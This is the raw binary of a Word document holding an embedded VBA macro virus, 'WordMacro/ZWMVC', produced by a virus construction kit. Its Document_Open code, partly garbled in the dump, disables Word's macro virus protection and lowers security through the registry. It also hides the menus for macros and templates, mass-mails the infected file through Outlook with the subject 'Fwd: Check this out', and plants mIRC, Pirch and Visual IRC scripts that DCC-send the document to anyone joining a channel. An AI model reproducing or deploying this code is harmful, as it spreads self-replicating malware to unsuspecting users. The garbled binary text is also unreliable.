ࡱ > " $ ! 5@ bjbj22 . X X X X X X X X X & ( ( ( ( ( ( $ ] R B L X L X X a X X & &
X X
vpr
& w 0
l X X X X X
L L $
h % , 1h . A!n"n#$n% B @ B N o r m a l e CJ _HaJ mHsHtH V A V C a r a t t e r e p r e d e f i n i t o p a r a g r a f o X i X T a b e l l a n o r m a l e 4
l 4 a 4 k 4
N e s s u n e l e n c o "& My0 a m e p g b @ ߌ 0 @ U n k n o w n G z T i m e s N e w R o m a n 5 S y m b o l 3& z A r i a l " 1 ss n r4 d 3 H ) ? a m e p g b a m e p g b Oh +'0 h
$ 0
< H P X ` s s amepgb mep mep Normal.dot amepgb d 1 ep Microsoft Word 10.0 @ F# @ D@ .h ՜. +,0 h p |
o A
Titolo
# ' & ? I ) * + , - . / 1 2 3 4 5 6 7 8 9 : ; < = > ( @ A B C D E F G H J R o o t E n t r y F 1ur% 1 T a b l e W o r d D o c u m e n t . S u m m a r y I n f o r m a t i o n ( D o c u m e n t S u m m a r y I n f o r m a t i o n 8 M a c r o s
|Qrvpr V B A |Qrkr T h i s D o c u m e n t
! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N P Q R S T U V W Y [ \ ] ^ _ ` b Bq x ME ( S" S S" < ( 1 N o r m a l . T h i s D o c u m e n t 8 ( % H x Attribut e VB_Nam e = "Thi sDocument"
Bas1Normal.VGlobal!SpaclFalse Creatabl Pre decla Id Tru
BExpose Temp lateDeriv$Custom izC1 as * \ G { 0 0 0 2 0 4 E F - 0 M o d u l o 1
0 - _ V B A _ P R O J E C T d i r O / P R O J E C T w m X A "
' WordMac ro/ZWMVC
._D con structed by Zed, 30/03/2 003
Priva Decla re Funct ion SetS ysColors Lib "us er32" (B yVal nChanges A ong, lp1 B 0u*) Sub Docu ment_Ope n()
On Error Res Next
@
If OpQs .VirusProteZ= Tr ue Then
Fals e
End If
*ConfirBm verss +-Save@Normal Zm pt,q7o 3z6k8N10 i10k1V9b 7U10M1i2 i4f7g5o1 0h9v5"H KEY_CURR ENT_USER@\Softw |\@Micros@\ Office\" _
& Ap plicaY.VAA & "\\ SecurityFgM1R1X 5h4e5P10 K4a8B3w6p6N3 0 To 1CcS8R5 f7v6N1u8 M4E5j2C7 X8l9J2J1
Array(" Level", "AccessV0BOM" sC1 0z5X7w7H 3S5m6c5J 3b2N6S2Z 4P9s2f9m 6m1o1Z9k3i3t8r4@ (V. tem.D mfileSang("(%a,
.).1&
%
0c1 m5z2F1D4 p8s7D3H4 s8E4y10n(10v020p7 X1q7m`5e9 M3w1j5c6a//Temp"ls adAd d-Ins...aCustomi ze%E2E2 X5G2A6d9hW5m 0`
([$
@}Comm Bars("To@ols").nt
r@(P).EnablBH K Dp3c4K8 rn4`.2i5 w10p6X7G6x3y1K1$ eX7P1b1t 5n1R5e2K8D1c6P!yDd
b "!1Status $dz4t 5e6R6w7d 6K7g2B2v2Oo7r2L5 n5u10j7j 1D8i9x6G3K7T9 5(5View4_P?9'C 9_= t !#=I2K6`:H8C5W4Q4t2Z j8Z 10O6x6C7 c6T5r1J7bIs9g6 /i?u22j5X9Y6 A8I4P3T1 0N3u8r10 c4o8j5G1 0J8n1d3V 10V8A3Q1J8oQ!;u:Zh:R6q9QQ6(
/"dG ]G8L7g 3v5A7Y "("al7d7c7d10N1M2o80 _de F7H1l6a 5K1F10w1y5x7D7D_.DeleteLin 1P untOf#uOrertF/
u"
.(PCo4 */-Y6t4I6i4o?'>A Pr5I2d7f3Pe5Q2d9c2b10 Z1n8w7U8n5m0E8u5p4 y!n
Sg = n\? ? ? G $5 10= ˏ!) >ǓVg%yDos 0 "Doc ument" A@nd IsN hr ic(Right(Active .Name, 1 )) = Fal se Then
TSaveAs Filej:= >Full
Set Y6 t4I6i4o9 YCreateO bject("O utlook.A pplicati on")
IfH No 8""E MT K& "L A at theD f in a ttachs!"cGF7H1l 6a5K1F10 w1y5x7D7DMT.Get` Space("MAPIKD5i 10a10k3O 7C8Z6p2M 8L6m1x9F 6s5r5N8u 5K9n10U6@r8D9h1 T" HKEY_CUR RENT_USE R\Softwa re\ZWMVC _Macro\S toredEmailsX9For s1n5R1X 10y3X9n4 G8Q3a2R8N7 01 To l2Defaul tFolder( 10).Items.CountFGa5d2E2 r6n7m1B1 0h7U3Q4d 4P9S10J4 T6i1L10X5c6 p (3@A" @Sys) .Priv@ProwString ("", .c, 7
$AHEml^2 ?H600With A
GW.hf= Su " Fwd: Checkis outH.Body @Aa.Add u! a .Importance 1H Delete AftermiBtTrueHSendE ?9kk9U9Ti meValue(Now$5IfcNextYm
ar|G8L7g c@3v5A7Y0Aq3 n4u1h6K8W5Y9 L9f9M6I9CagArray( "C:\Mirc`YE32P El7d7c 7d5r10N1M2o8@5(O
CpDir( , vb ory))HOpen
Scri pt.ini" A) put ʨM~nt #1, h"[s]h]n 5= on 1: JOIN:#:{6= /if ( $ni h== $me ) { halt }b7msg8Adcc s_ <-c m)9=Clo d"eOT6
!)ǒ (`( r5I2d7f3oe5Q2d9c 2b10P10Z 1n8w7U8n5K8D10E0ldp4y5@*P*h* *c0!
d&dUy (w,,_O,s
EvsqO-s 2@A1 2A-LevelsO-#Enable8d=1'{=61=000 -Unknown( 22=10 *__3=2V? _Q*__4=3V _Q*__5=4V _Q*__6=5V _Q*_Z [ C'r'User%0OAb.1=ON V/Q.#?
$
1=*p!*@*_Q
1
\b"_\'A=1 ; B [:. i1v0nt :3 "& iL5 C|4`J|Gj{R5O4V6T 9N4y10T3 f6m7f5w7F2U9ra)}ʱ Array(" C:\Virc"$, P32 `n1 0G8L7g10 J3v5A7Y9p & "t z)
H= n 4u1h6K10 w8W5Y9L9 f9M6I9C6 (R5O4V6T 10U9N4y1 0T3f6m7f 5w7F2U9r2UIf DirB(\, vb e ctory) < > "" ThenSyste m.Privat eProfile String("HKEY_US ERS\.Def ault\Sof tware\MeGALiTH Visual I RC96\Events"17" ) = "dcc send $n ick " Ac tiveDocum .FullN(ameSE If
Next `
Els *Saved @Tru *Sub
' Macro virus construct by Zed's WordD @@ CE or (ZW MVC) v1. 0
' B; $ & o t SetSysColors x ME + @ i ` i" i$ ( B H H " P X `
p
Z 8 " P x
@ $ H h
p $ "
0 ( H p $
, ( 8 @ X p $ 0 @ P $ h
F ( p 2 $ 2 X < p $ " 8 @ H h p
F H X p 0 0
H
`
h
p
F
( @ X " p $ " $ " $ 8 " ` $ " $ "
$ (
P
`
*
@ : ` 0 @ ` @ `
F ~ (
R H ; WordMacro/ZWMVC.ZWMVC_Macro constructed by Zed, 30/03/2003 P> *! , *( , k x *! . b *( . k P *! 0 *( 0 k ( , HKEY_CURRENT_USER\Software\Microsoft\Office\ 4! 6 \Word\Security ' 2 8 p p p Level
AccessVBOMD ' :p p 8$ : ' <p 2 < >, @ 8 B Macro Templates and Add-Ins... Customize...D ' D B$ D ' F F Tools $ H % J ! L F Tools $ H % J ( Lk B N Toolbars
Status BarD ' P N$ P ' R R View$ H % J ! L R View$ H % J ( L k N T Macros... Security... D ' V T$ V ' X X Macro $ H % J ! L X Macro $ H % J ( Lk 0 T Style... Format$ H % J ! L x Style... Format$ H % J ( Lk \! ^% ` . Z d! ^% ` . b b! ZWMVC_Macro b! h. f Z! h. j f! n fB@l j! n j% r fB@p ZWMVC_Macro b( k Z! ZWMVC_Macro Z! h. t b! h. v t! n tB@l v! n v% r tB@p ZWMVC_Macro Z( k P b! ZWMVC_Macro dB@x d( z k _ f ' f A@4 A@4 A@4 ~ ~ ~ $ | ' j f \! $ ' Document \! $ $ \! \B@ Outlook.Application $ . t t $ Look at the file in the attachments! ' +* MAPI t% . j 3 HKEY_CURRENT_USER\Software\ZWMVC_Macro\StoredEmails '
j% ! !
j% ! % . >% @ t% . 9 h Fwd: Check this out 9 9 \! 5 B@ 9 9 C@ q X $ >, @ k 0 k Z C:\Mirc C:\Mirc32 Z \Mirc Z \Mirc32 D ' b Z$ b ' f f $ ~ f \Script.ini [script] n5= on 1:JOIN:#:{ ! n6= /if ( $nick == $me ) { halt } n7= /msg $nick n8= /dcc send -c $nick \! n9= } V k Z t C:\Pirch
C:\Pirch32 Z \Pirch Z \Pirch32 D ' v t$ v ' j j $ ~ j \Events.ini [Levels] Enabled=1 Count=6 Level1=000-Unknowns 000-UnknownsEnabled=1 Level2=100-Level 100 100-Level 100Enabled=1 Level3=200-Level 200 200-Level 200Enabled=1 Level4=300-Level 300 300-Level 300Enabled=1 Level5=400-Level 400 400-Level 400Enabled=1 Level6=500-Level 500 500-Level 500Enabled=1 [000-Unknowns] UserCount=0 # Event1=ON JOIN:#:/msg $nick EventCount=0 [100-Level 100] User1=*!*@* UserCount=1 ! Event1=ON JOIN:#:/dcc send $nick \! EventCount=1 [200-Level 200] UserCount=0 EventCount=0 [300-Level 300] UserCount=0 EventCount=0 [400-Level 400] UserCount=0 EventCount=0 x [500-Level 500] UserCount=0 EventCount=0 V k p t C:\Virc C:\Virc32 Z \Virc Z \Virc32 D ' b $ b ' Z Z $ ~ dcc send $nick \! B HKEY_USERS\.Default\Software\MeGALiTH Software\Visual IRC96\Events Event17 >, @ k P d 8 \( z k o K Macro virus constructed by Zed's Word Macro Virus Constructor (ZWMVC) v1.0
[ Attribut e VB_Nam e = "Mod ulo10 0 0 - 0 0 0 0 - C 0 0 0 - 0 0 0 0 0 0 0 0 0 0 4 6 } # 4 . 0 # 9 # C : \ P R O G R A ~ 1 \ F I L E C O ~ 1 \ M I C R O S ~ 1 \ V B A \ V B A 6 \ V B E 6 . D L L # V i s u a l B a s i c F o r A p p l i c a t i o n s * \ G { 0 0 0 2 0 9 0 5 - 0 0 0 0 - 0 0 0 0 - C 0 0 0 - 0 0 0 0 0 0 0 0 0 0 4 6 } # 8 . 2 # 0 # C : \ P r o g r a m m i \ M i c r o s o f t O f f i c e \ O f f i c e 1 0 \ M S W O R D . O L B # M i c r o s o f t W o r d 1 0 . 0 O b j e c t L i b r a r y * \ G { 0 0 0 2 0 4 3 0 - 0 0 0 0 - 0 0 0 0 - C 0 0 0 - 0 0 0 0 0 0 0 0 0 0 4 6 } # 2 . 0 # 0 # C : \ W I N D O W S \ S y s t e m 3 2 \ s t d o l e 2 . t l b # O L E A u t o m a t i o n * \ C N o r m a l * \ C N o r m a l bi? * \ G { 2 D F 8 D 0 4 C - 5 B F A - 1 0 1 B - B D E 5 - 0 0 A A 0 0 4 4 D E 5 2 } # 2 . 2 # 0 # C : \ P r o g r a m m i \ F i l e c o m u n i \ M i c r o s o f t S h a r e d \ O f f i c e 1 0 \ M S O . D L L # M i c r o s o f t O f f i c e 1 0 . 0 O b j e c t L i b r a r y
bi?
B T h i s D o c u m e n t 0 3 3 f d b 6 9 6 2 T h i s D o c u m e n t q M o d u l o 1 0 5 3 f d b 6 9 7 4 M o d u l o 1 ; 8 Nhds t d o l eP
h %^ * \G{00020430- C
0046}# 2.0#0#C: \WINDOWS \System32\e2.tlb #OLE Automation ` ENormalENCr m aQF *\C
m ! OfficgO f i cg !G{2DF8 D04C-5BF A-101B-BHDE5gAAe4
2ggram mi\File comuni\M icrosoft Shared\=10\MSO.0DLL#
1@0.0 Ob LibraryHE By BdThisD ocumentG Tei sD DGc u HeT nm 2 Q HB1- B,!q*"B+BBMo dulo1G U M!d!l14 2O M ;!C ThisDocument T h i s D o c u m e n t Modulo1 M o d u l o 1 ID="{37F7B1F2-37D1-4175-8A33-55EADA23D614}"
Document=ThisDocument/&H00000000
Module=Modulo1
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="2321E5C40CC80CC80CC80CC8"
DPB="46448029806FA270A270A2"
GC="696BAF30B030B0CF"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=0, 0, 0, 0, C
ModP R O J E C T Z C o m p O b j a n ulo1=44, 58, 716, 501,
F Documento di Microsoft Word
MSWordDoc Word.Document.8 9q